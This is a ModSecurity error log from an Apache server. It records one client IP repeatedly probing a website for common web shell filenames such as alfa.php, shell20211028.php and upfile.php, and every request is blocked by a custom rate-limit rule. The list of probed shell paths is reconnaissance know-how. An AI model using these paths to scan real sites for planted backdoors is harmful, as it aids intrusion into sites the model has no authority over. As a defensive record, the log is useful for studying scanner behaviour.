[Thu Jan 08 01:08:40.707945 2026] [:error] [pid 30634:tid 30712] [client 4.189.122.79:3604] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/alfa.php"] [unique_id "aV6TGICIPBibObtmZtswTQAAANY"]
[Thu Jan 08 01:08:40.940818 2026] [:error] [pid 50870:tid 50878] [client 4.189.122.79:3486] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/alfa.php"] [unique_id "aV6TGBlePfspAt1BzouX1AAAAgY"]
[Thu Jan 08 01:08:41.171959 2026] [:error] [pid 58294:tid 58313] [client 4.189.122.79:3500] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/alfa.php"] [unique_id "aV6TGVfzA7c0ITpf3nFbmgAAAJE"]
[Thu Jan 08 01:08:41.399318 2026] [:error] [pid 50905:tid 50921] [client 4.189.122.79:3618] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/about.php"] [unique_id "aV6TGWpNgk5-gt30I7bGagAAAk4"]
[Thu Jan 08 01:08:41.636681 2026] [:error] [pid 30632:tid 30641] [client 4.189.122.79:3309] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/about.php"] [unique_id "aV6TGed3_LCpBJzo02c6XgAAAAU"]
[Thu Jan 08 01:08:41.867716 2026] [:error] [pid 30633:tid 30667] [client 4.189.122.79:3160] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/about.php"] [unique_id "aV6TGfZiVWlF7303nMjZAwAAAEQ"]
[Thu Jan 08 01:08:42.093455 2026] [:error] [pid 58330:tid 58353] [client 4.189.122.79:3589] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/about.php"] [unique_id "aV6TGg8kGngKGK7_wncySAAAARU"]
[Thu Jan 08 01:08:42.322103 2026] [:error] [pid 30634:tid 30697] [client 4.189.122.79:3457] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell20211028.php"] [unique_id "aV6TGoCIPBibObtmZtswTwAAAMc"]
[Thu Jan 08 01:08:42.547351 2026] [:error] [pid 50870:tid 50874] [client 4.189.122.79:3476] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell20211028.php"] [unique_id "aV6TGhlePfspAt1BzouX2AAAAgI"]
[Thu Jan 08 01:08:42.773281 2026] [:error] [pid 30634:tid 30692] [client 4.189.122.79:3303] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell20211028.php"] [unique_id "aV6TGoCIPBibObtmZtswUAAAAMI"]
[Thu Jan 08 01:08:42.999099 2026] [:error] [pid 58330:tid 58352] [client 4.189.122.79:3497] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell20211028.php"] [unique_id "aV6TGg8kGngKGK7_wncySQAAARQ"]
[Thu Jan 08 01:08:43.234641 2026] [:error] [pid 58330:tid 58339] [client 4.189.122.79:3088] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/resources/dummy/log.php"] [unique_id "aV6TGw8kGngKGK7_wncySwAAAQc"]
[Thu Jan 08 01:08:43.497812 2026] [:error] [pid 50870:tid 50877] [client 4.189.122.79:3270] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/resources/dummy/log.php"] [unique_id "aV6TGxlePfspAt1BzouX2gAAAgU"]
[Thu Jan 08 01:08:43.731561 2026] [:error] [pid 58330:tid 58337] [client 4.189.122.79:3483] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/resources/dummy/log.php"] [unique_id "aV6TGw8kGngKGK7_wncyTQAAAQU"]
[Thu Jan 08 01:08:43.978207 2026] [:error] [pid 50936:tid 50955] [client 4.189.122.79:3186] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/resources/dummy/log.php"] [unique_id "aV6TG7Dlg80QUdd5qc40aQAAApE"]
[Thu Jan 08 01:08:44.220479 2026] [:error] [pid 50936:tid 50953] [client 4.189.122.79:3462] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/upfile.php"] [unique_id "aV6THLDlg80QUdd5qc40agAAAo8"]
[Thu Jan 08 01:08:44.447761 2026] [:error] [pid 50905:tid 50919] [client 4.189.122.79:3644] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/upfile.php"] [unique_id "aV6THGpNgk5-gt30I7bGbQAAAkw"]
[Thu Jan 08 01:08:44.676218 2026] [:error] [pid 50870:tid 50875] [client 4.189.122.79:3614] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/upfile.php"] [unique_id "aV6THBlePfspAt1BzouX2wAAAgM"]
[Thu Jan 08 01:08:44.911835 2026] [:error] [pid 58330:tid 58336] [client 4.189.122.79:3470] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/upfile.php"] [unique_id "aV6THA8kGngKGK7_wncyUQAAAQQ"]
[Thu Jan 08 01:08:45.156971 2026] [:error] [pid 58330:tid 58338] [client 4.189.122.79:3283] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bras.php"] [unique_id "aV6THQ8kGngKGK7_wncyUwAAAQY"]
[Thu Jan 08 01:08:45.384205 2026] [:error] [pid 58330:tid 58344] [client 4.189.122.79:3481] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bras.php"] [unique_id "aV6THQ8kGngKGK7_wncyVQAAAQw"]
[Thu Jan 08 01:08:45.618806 2026] [:error] [pid 50838:tid 50856] [client 4.189.122.79:3621] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bras.php"] [unique_id "aV6THbSweZ27JIN4H8vt1gAAAdA"]
[Thu Jan 08 01:08:45.858910 2026] [:error] [pid 50838:tid 50851] [client 4.189.122.79:3608] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bras.php"] [unique_id "aV6THbSweZ27JIN4H8vt1wAAAcs"]
[Thu Jan 08 01:08:46.093479 2026] [:error] [pid 58330:tid 58347] [client 4.189.122.79:3464] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vv.php"] [unique_id "aV6THg8kGngKGK7_wncyVwAAAQ8"]
[Thu Jan 08 01:08:46.320269 2026] [:error] [pid 30634:tid 30705] [client 4.189.122.79:3116] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vv.php"] [unique_id "aV6THoCIPBibObtmZtswUwAAAM8"]
[Thu Jan 08 01:08:46.548271 2026] [:error] [pid 30632:tid 30646] [client 4.189.122.79:3277] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vv.php"] [unique_id "aV6THud3_LCpBJzo02c6YwAAAAo"]
[Thu Jan 08 01:08:46.776350 2026] [:error] [pid 58330:tid 58337] [client 4.189.122.79:3468] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vv.php"] [unique_id "aV6THg8kGngKGK7_wncyWwAAAQU"]
[Thu Jan 08 01:08:47.002231 2026] [:error] [pid 30633:tid 30673] [client 4.189.122.79:3307] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gold.php"] [unique_id "aV6TH_ZiVWlF7303nMjZBAAAAEo"]
[Thu Jan 08 01:08:47.227770 2026] [:error] [pid 30632:tid 30657] [client 4.189.122.79:3477] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gold.php"] [unique_id "aV6TH-d3_LCpBJzo02c6ZAAAABU"]
[Thu Jan 08 01:08:47.462432 2026] [:error] [pid 30632:tid 30639] [client 4.189.122.79:3516] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gold.php"] [unique_id "aV6TH-d3_LCpBJzo02c6ZQAAAAM"]
[Thu Jan 08 01:08:47.688595 2026] [:error] [pid 50936:tid 50946] [client 4.189.122.79:3493] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gold.php"] [unique_id "aV6TH7Dlg80QUdd5qc40awAAAog"]
[Thu Jan 08 01:08:47.914043 2026] [:error] [pid 50936:tid 50962] [client 4.189.122.79:3607] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xe.php"] [unique_id "aV6TH7Dlg80QUdd5qc40bAAAApg"]
[Thu Jan 08 01:08:48.140022 2026] [:error] [pid 30634:tid 30699] [client 4.189.122.79:3640] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xe.php"] [unique_id "aV6TIICIPBibObtmZtswVQAAAMk"]
[Thu Jan 08 01:08:48.365865 2026] [:error] [pid 58330:tid 58349] [client 4.189.122.79:3293] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xe.php"] [unique_id "aV6TIA8kGngKGK7_wncyaQAAARE"]
[Thu Jan 08 01:08:48.594290 2026] [:error] [pid 50905:tid 50930] [client 4.189.122.79:3453] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xe.php"] [unique_id "aV6TIGpNgk5-gt30I7bGbgAAAlc"]
[Thu Jan 08 01:08:48.830615 2026] [:error] [pid 30632:tid 30648] [client 4.189.122.79:3632] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bipas.php"] [unique_id "aV6TIOd3_LCpBJzo02c6ZgAAAAw"]
[Thu Jan 08 01:08:49.055686 2026] [:error] [pid 50870:tid 50883] [client 4.189.122.79:3496] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bipas.php"] [unique_id "aV6TIRlePfspAt1BzouX3wAAAgs"]
[Thu Jan 08 01:08:49.291607 2026] [:error] [pid 50870:tid 50872] [client 4.189.122.79:3475] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bipas.php"] [unique_id "aV6TIRlePfspAt1BzouX4QAAAgA"]
[Thu Jan 08 01:08:49.519109 2026] [:error] [pid 58330:tid 58346] [client 4.189.122.79:3296] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bipas.php"] [unique_id "aV6TIQ8kGngKGK7_wncydAAAAQ4"]
[Thu Jan 08 01:08:49.745956 2026] [:error] [pid 50905:tid 50927] [client 4.189.122.79:3341] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xb.php"] [unique_id "aV6TIWpNgk5-gt30I7bGcAAAAlQ"]
[Thu Jan 08 01:08:49.973933 2026] [:error] [pid 50870:tid 50879] [client 4.189.122.79:3265] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xb.php"] [unique_id "aV6TIRlePfspAt1BzouX4wAAAgc"]
[Thu Jan 08 01:08:50.201622 2026] [:error] [pid 30634:tid 30702] [client 4.189.122.79:3272] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xb.php"] [unique_id "aV6TIoCIPBibObtmZtswWQAAAMw"]
[Thu Jan 08 01:08:50.427299 2026] [:error] [pid 50936:tid 50944] [client 4.189.122.79:3269] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xb.php"] [unique_id "aV6TIrDlg80QUdd5qc40bQAAAoY"]
[Thu Jan 08 01:08:50.655299 2026] [:error] [pid 50936:tid 50960] [client 4.189.122.79:3492] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cx.php"] [unique_id "aV6TIrDlg80QUdd5qc40bgAAApY"]
[Thu Jan 08 01:08:50.893299 2026] [:error] [pid 30632:tid 30645] [client 4.189.122.79:3636] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cx.php"] [unique_id "aV6TIud3_LCpBJzo02c6ZwAAAAk"]
[Thu Jan 08 01:08:51.125235 2026] [:error] [pid 50838:tid 50841] [client 4.189.122.79:3491] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cx.php"] [unique_id "aV6TI7SweZ27JIN4H8vt2QAAAcE"]
[Thu Jan 08 01:08:51.363435 2026] [:error] [pid 58294:tid 58315] [client 4.189.122.79:3487] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cx.php"] [unique_id "aV6TI1fzA7c0ITpf3nFbqgAAAJM"]
[Thu Jan 08 01:08:51.592860 2026] [:error] [pid 51128:tid 51143] [client 4.189.122.79:3471] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aV6TI0GjtE8U88mrwufL3gAAAY0"]
[Thu Jan 08 01:08:51.819945 2026] [:error] [pid 30633:tid 30684] [client 4.189.122.79:3313] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aV6TI_ZiVWlF7303nMjZBwAAAFU"]
[Thu Jan 08 01:08:52.045411 2026] [:error] [pid 30634:tid 30701] [client 4.189.122.79:3466] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aV6TJICIPBibObtmZtswXwAAAMs"]
[Thu Jan 08 01:08:52.274749 2026] [:error] [pid 58294:tid 58317] [client 4.189.122.79:3619] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aV6TJFfzA7c0ITpf3nFbrgAAAJU"]
[Thu Jan 08 01:08:52.501411 2026] [:error] [pid 50905:tid 50915] [client 4.189.122.79:3278] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aV6TJGpNgk5-gt30I7bGcwAAAkg"]
[Thu Jan 08 01:08:52.741535 2026] [:error] [pid 51128:tid 51147] [client 4.189.122.79:3585] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aV6TJEGjtE8U88mrwufL4AAAAZE"]
[Thu Jan 08 01:08:52.974362 2026] [:error] [pid 58294:tid 58296] [client 4.189.122.79:3482] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aV6TJFfzA7c0ITpf3nFbsAAAAIA"]
[Thu Jan 08 01:08:53.214559 2026] [:error] [pid 30634:tid 30696] [client 4.189.122.79:3266] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aV6TJYCIPBibObtmZtswYQAAAMY"]
[Thu Jan 08 01:08:53.442209 2026] [:error] [pid 58294:tid 58312] [client 4.189.122.79:3287] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x0x.php"] [unique_id "aV6TJVfzA7c0ITpf3nFbtAAAAJA"]
